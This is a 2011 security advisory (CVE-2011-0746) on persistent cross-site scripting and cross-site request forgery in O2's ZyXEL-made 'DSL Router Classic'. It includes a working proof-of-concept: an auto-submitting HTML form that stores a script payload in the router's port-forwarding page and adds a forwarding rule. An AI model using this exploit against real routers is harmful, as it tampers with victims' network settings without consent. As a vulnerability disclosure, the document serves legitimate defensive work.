O2 classic router: persistent cross site scripting (XSS) and cross site request forgery (CSRF)

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0746
http://int21.de/cve/CVE-2011-0746-o2-router.html

Description

The default DSL router shipped by the german company O2 is completely vulnerable to persistent cross site scripting (XSS) and cross site request forgery (CSRF). The device is produced by ZyXEL, it seems it has no other name than the brand "O2 DSL Router Classic".

As an example, the form at /Forms/PortForwarding_Edit_1 accepts javascript code for the parameter PortRule_Name, which will be permanently stored. Also, the form has no protection against CSRF.

A sample code that will inject permanent javascript when called by a user who is logged into his router:

<form id="form1" method="post" action="http://192.168.1.1/Forms/PortForwarding_Edit_1">
<input name="PortRule_Name" value='"><script>alert(7)</script>'>
<input name="PortRule_SPort" value="77">
<input name="PortRule_EPort" value="77">
<input name="PortRule_SrvAddr" value="10.0.0.1" >
<script>
var frm = document.getElementById("form1");
frm.submit();
</script>

This is just an example, all forms in the router interface are vulnerable to CSRF and, if they accept text input, to XSS.

The vulnerability has been disclosed to O2 in advance without any reply.

Disclosure Timeline

2011-02-03: Vendor contacted
2011-04-07: Published advisory

Credits

This vulnerability was discovered by Hanno Boeck, http://www.hboeck.de, of schokokeks.org webhosting.

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